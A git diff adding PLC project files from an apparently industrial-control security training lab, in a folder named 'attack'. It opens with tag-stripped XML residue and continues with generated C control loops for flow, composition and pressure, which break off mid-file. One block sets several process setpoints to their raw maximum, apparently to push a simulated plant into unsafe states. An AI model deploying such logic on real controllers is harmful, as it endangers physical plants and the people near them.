+ + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_set_real + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + product_flow + + + + + + + + + + + + + product_flow_real + + + + + + + product_flow_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + flow_set_in + + + + + + + + + + + + + flow_set_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + curr_pos + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + curr_pos_real + + + + + + + curr_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_k + + + + + + + flow_ti + + + + + + + cycle_time + + + + + + + flow_td + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + a_in_purge_real + + + + + + + a_setpoint_real + + + + + + + composition_k + + + + + + + composition_ti + + + + + + + cycle_time + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + comp_max + + + + + + + comp_min + + + + + + + a_in_purge + + + + + + + + + + + + + a_in_purge_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + comp_max + + + + + + + comp_min + + + + + + + a_setpoint + + + + + + + + + + + + + a_setpoint_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + valve_pos_nominal + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + curr_pos + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + valve_pos_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_real + + + + + + + override_sp_real + + + + + + + override_k + + + + + + + override_ti + + + + + + + cycle_time + + + + + + + + + + + sp_update + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure + + + + + + + + + + + + + pressure_real + + + + + + + curr_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + + + + + + + curr_sp_real + + + + + + + sp_update + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 150.0 + + + + + + + 50.0 + + + + + + + 0.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 500.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_sp_real + + + + + + + product_sp_real + + + + + + + 65535.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_sp + + + + + + + curr_sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + input_uint + + + + + + + 2 + + + + + + + + + + + + + + + output_int + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + real_in + + + + + + + 100.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 65535.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + uint_out + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + liquid_level + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level_max + + + + + + + level_min + + + + + + + + + + + + + level_real + + + + + + + curr_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + + + + + + + pos_real + + + + + + + pos_min + + + + + + + level_real + + + + + + + level_sp + + + + + + + level_max + + + + + + + level_min + + + + + + + + + + + + + sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + sp_real + + + + + + + level_k + + + + + + + + + + + + + pos_update_real + + + + + + + pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + cycle_time + + + + + + + level_ti + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/beremiz.xml b/plc/GRFICS_Workstation_Docs/Documents/attack/beremiz.xml new file mode 100644 index 0000000..c5afdb1 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/beremiz.xml @@ -0,0 +1,4 @@ + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.c new file mode 100644 index 0000000..0dd2355 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.c @@ -0,0 +1,29 @@ +/*******************************************/ +/* FILE GENERATED BY iec2c */ +/* Editing this file is not recommended... */ +/*******************************************/ + +#include "iec_std_lib.h" + +#include "accessor.h" + +#include "POUS.h" + +// CONFIGURATION CONFIG0 + +void RES0_init__(void); + +void config_init__(void) { + BOOL retain; + retain = 0; + + RES0_init__(); +} + +void RES0_run__(unsigned long tick); + +void config_run__(unsigned long tick) { + RES0_run__(tick); +} +unsigned long long common_ticktime__ = 50000000ULL; /*ns*/ +unsigned long greatest_tick_count__ = 0UL; /*tick*/ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.h b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.h new file mode 100644 index 0000000..7050753 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.h @@ -0,0 +1,2 @@ +#include "beremiz.h" + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.o b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.o new file mode 100644 index 0000000..3d987f8 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/LOCATED_VARIABLES.h b/plc/GRFICS_Workstation_Docs/Documents/attack/build/LOCATED_VARIABLES.h new file mode 100644 index 0000000..e69de29 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/LOCATED_VARIABLES.h diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.c new file mode 100644 index 0000000..d1856d9 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.c @@ -0,0 +1,1081 @@ +void LOGGER_init__(LOGGER *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MSG,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->LEVEL,LOGLEVEL__INFO,retain) + __INIT_VAR(data__->TRIG0,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void LOGGER_body__(LOGGER *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + if ((__GET_VAR(data__->TRIG,) && !(__GET_VAR(data__->TRIG0,)))) { + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) + + LogMessage(GetFbVar(LEVEL),(char*)GetFbVar(MSG, .body),GetFbVar(MSG, .len)); + + #undef GetFbVar + #undef SetFbVar +; + }; + __SET_VAR(data__->,TRIG0,,__GET_VAR(data__->TRIG,)); + + goto __end; + +__end: + return; +} // LOGGER_body__() + + + + + +void PYTHON_EVAL_init__(PYTHON_EVAL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->STATE,0,retain) + __INIT_VAR(data__->BUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->PREBUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->TRIGM1,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->TRIGGED,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_EVAL_body__(PYTHON_EVAL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) +extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(0, data__); + #undef GetFbVar + #undef SetFbVar +; + + goto __end; + +__end: + return; +} // PYTHON_EVAL_body__() + + + + + +void PYTHON_POLL_init__(PYTHON_POLL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->STATE,0,retain) + __INIT_VAR(data__->BUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->PREBUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->TRIGM1,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->TRIGGED,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_POLL_body__(PYTHON_POLL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) +extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(1,(PYTHON_EVAL*)(void*)data__); + #undef GetFbVar + #undef SetFbVar +; + + goto __end; + +__end: + return; +} // PYTHON_POLL_body__() + + + + + +void PYTHON_GEAR_init__(PYTHON_GEAR *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->N,0,retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + PYTHON_EVAL_init__(&data__->PY_EVAL,retain); + __INIT_VAR(data__->COUNTER,0,retain) + __INIT_VAR(data__->ADD10_OUT,0,retain) + __INIT_VAR(data__->EQ13_OUT,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->SEL15_OUT,0,retain) + __INIT_VAR(data__->AND7_OUT,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_GEAR_body__(PYTHON_GEAR *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,ADD10_OUT,,ADD__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->COUNTER,), + (UINT)1)); + __SET_VAR(data__->,EQ13_OUT,,EQ__BOOL__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->N,), + (UINT)__GET_VAR(data__->ADD10_OUT,))); + __SET_VAR(data__->,SEL15_OUT,,SEL__UINT__BOOL__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (BOOL)__GET_VAR(data__->EQ13_OUT,), + (UINT)__GET_VAR(data__->ADD10_OUT,), + (UINT)0)); + __SET_VAR(data__->,COUNTER,,__GET_VAR(data__->SEL15_OUT,)); + __SET_VAR(data__->,AND7_OUT,,AND__BOOL__BOOL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (BOOL)__GET_VAR(data__->EQ13_OUT,), + (BOOL)__GET_VAR(data__->TRIG,))); + __SET_VAR(data__->PY_EVAL.,TRIG,,__GET_VAR(data__->AND7_OUT,)); + __SET_VAR(data__->PY_EVAL.,CODE,,__GET_VAR(data__->CODE,)); + PYTHON_EVAL_body__(&data__->PY_EVAL); + __SET_VAR(data__->,ACK,,__GET_VAR(data__->PY_EVAL.ACK,)); + __SET_VAR(data__->,RESULT,,__GET_VAR(data__->PY_EVAL.RESULT,)); + + goto __end; + +__end: + return; +} // PYTHON_GEAR_body__() + + + + + +void SCALE_TO_REAL_init__(SCALE_TO_REAL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->RAW_INPUT_VALUE,0,retain) + __INIT_VAR(data__->SCALED_REAL,0,retain) + __INIT_VAR(data__->REAL_MAX,0,retain) + __INIT_VAR(data__->REAL_MIN,0,retain) + __INIT_VAR(data__->RAW_MAX,65535,retain) + __INIT_VAR(data__->RAW_MIN,0,retain) + __INIT_VAR(data__->RATE,0,retain) + __INIT_VAR(data__->OFFSET,0,retain) +} + +// Code part +void SCALE_TO_REAL_body__(SCALE_TO_REAL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,RATE,,((__GET_VAR(data__->REAL_MAX,) - __GET_VAR(data__->REAL_MIN,)) / UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)(__GET_VAR(data__->RAW_MAX,) - __GET_VAR(data__->RAW_MIN,))))); + __SET_VAR(data__->,OFFSET,,(__GET_VAR(data__->REAL_MIN,) - (UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->RAW_MIN,)) * __GET_VAR(data__->RATE,)))); + __SET_VAR(data__->,SCALED_REAL,,((UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->RAW_INPUT_VALUE,)) * __GET_VAR(data__->RATE,)) + __GET_VAR(data__->OFFSET,))); + + goto __end; + +__end: + return; +} // SCALE_TO_REAL_body__() + + + + + +void SCALE_TO_UINT_init__(SCALE_TO_UINT *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->REAL_IN,0,retain) + __INIT_VAR(data__->UINT_OUT,0,retain) + __INIT_VAR(data__->DIV1_OUT,0,retain) + __INIT_VAR(data__->MUL4_OUT,0,retain) + __INIT_VAR(data__->REAL_TO_UINT6_OUT,0,retain) +} + +// Code part +void SCALE_TO_UINT_body__(SCALE_TO_UINT *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,DIV1_OUT,,DIV__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->REAL_IN,), + (REAL)100.0)); + __SET_VAR(data__->,MUL4_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->DIV1_OUT,), + (REAL)65535.0)); + __SET_VAR(data__->,REAL_TO_UINT6_OUT,,REAL_TO_UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->MUL4_OUT,))); + __SET_VAR(data__->,UINT_OUT,,__GET_VAR(data__->REAL_TO_UINT6_OUT,)); + + goto __end; + +__end: + return; +} // SCALE_TO_UINT_body__() + + + + + +void COMPOSITION_CONTROL_init__(COMPOSITION_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->A_IN_PURGE_REAL,47.00,retain) + __INIT_VAR(data__->A_IN_PURGE,32000,retain) + __INIT_VAR(data__->A_SETPOINT_REAL,47.00,retain) + __INIT_VAR(data__->A_SETPOINT,32000,retain) + __INIT_VAR(data__->CURR_POS,16000,retain) + __INIT_VAR(data__->VALVE_POS_REAL,25.0,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->VALVE_POS_NOMINAL,25.0,retain) + __INIT_VAR(data__->NEW_POS,16000,retain) + __INIT_VAR(data__->COMPOSITION_K,1.0,retain) + __INIT_VAR(data__->COMPOSITION_TI,99.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL3,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->COMP_MAX,100.0,retain) + __INIT_VAR(data__->COMP_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB45_OUT,0,retain) + __INIT_VAR(data__->MUL46_OUT,0,retain) + __INIT_VAR(data__->ADD42_OUT,0,retain) + __INIT_VAR(data__->LIMIT44_OUT,0,retain) +} + +// Code part +void COMPOSITION_CONTROL_body__(COMPOSITION_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL3.,RAW_INPUT_VALUE,,__GET_VAR(data__->A_IN_PURGE,)); + __SET_VAR(data__->SCALE_TO_REAL3.,REAL_MAX,,__GET_VAR(data__->COMP_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL3.,REAL_MIN,,__GET_VAR(data__->COMP_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL3); + __SET_VAR(data__->,A_IN_PURGE_REAL,,__GET_VAR(data__->SCALE_TO_REAL3.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->A_SETPOINT,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->COMP_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->COMP_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,A_SETPOINT_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,SUB45_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->A_SETPOINT_REAL,), + (REAL)__GET_VAR(data__->A_IN_PURGE_REAL,))); + __SET_VAR(data__->,MUL46_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB45_OUT,), + (REAL)__GET_VAR(data__->COMPOSITION_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL46_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,VALVE_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,ADD42_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->VALVE_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT44_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->ADD42_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT44_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // COMPOSITION_CONTROL_body__() + + + + + +void INITIALIZE_SP_init__(INITIALIZE_SP *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_SP_C,13107,retain) + __INIT_VAR(data__->A_SP_C,65535,retain) + __INIT_VAR(data__->PRESS_SP_C,65535,retain) + __INIT_VAR(data__->OVER_SP_C,65535,retain) + __INIT_VAR(data__->LEVEL_SP_C,65535,retain) + __INIT_VAR(data__->FLOW_SP,0,retain) + __INIT_VAR(data__->A_SP,0,retain) + __INIT_VAR(data__->PRESS_SP,0,retain) + __INIT_VAR(data__->OVER_SP,0,retain) + __INIT_VAR(data__->LEVEL_SP,0,retain) + __INIT_VAR(data__->MOVE3_OUT,0,retain) + __INIT_VAR(data__->MOVE7_OUT,0,retain) + __INIT_VAR(data__->MOVE11_OUT,0,retain) + __INIT_VAR(data__->MOVE15_OUT,0,retain) + __INIT_VAR(data__->MOVE19_OUT,0,retain) +} + +// Code part +void INITIALIZE_SP_body__(INITIALIZE_SP *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,MOVE3_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->A_SP_C,))); + __SET_VAR(data__->,A_SP,,__GET_VAR(data__->MOVE3_OUT,)); + __SET_VAR(data__->,MOVE7_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->FLOW_SP_C,))); + __SET_VAR(data__->,FLOW_SP,,__GET_VAR(data__->MOVE7_OUT,)); + __SET_VAR(data__->,MOVE11_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->OVER_SP_C,))); + __SET_VAR(data__->,OVER_SP,,__GET_VAR(data__->MOVE11_OUT,)); + __SET_VAR(data__->,MOVE15_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->LEVEL_SP_C,))); + __SET_VAR(data__->,LEVEL_SP,,__GET_VAR(data__->MOVE15_OUT,)); + __SET_VAR(data__->,MOVE19_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->PRESS_SP_C,))); + __SET_VAR(data__->,PRESS_SP,,__GET_VAR(data__->MOVE19_OUT,)); + + goto __end; + +__end: + return; +} // INITIALIZE_SP_body__() + + + + + +void PRESSURE_CONTROL_init__(PRESSURE_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->PRESSURE_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE,58981,retain) + __INIT_VAR(data__->PRESSURE_SP_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE_SP,58981,retain) + __INIT_VAR(data__->CURR_POS,30000,retain) + __INIT_VAR(data__->VALVE_POS_REAL,39.25,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->VALVE_POS_NOMINAL,39.25,retain) + __INIT_VAR(data__->VALVE_POS,25886,retain) + __INIT_VAR(data__->PRESSURE_K,20.0,retain) + __INIT_VAR(data__->PRESSURE_TI,999.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + 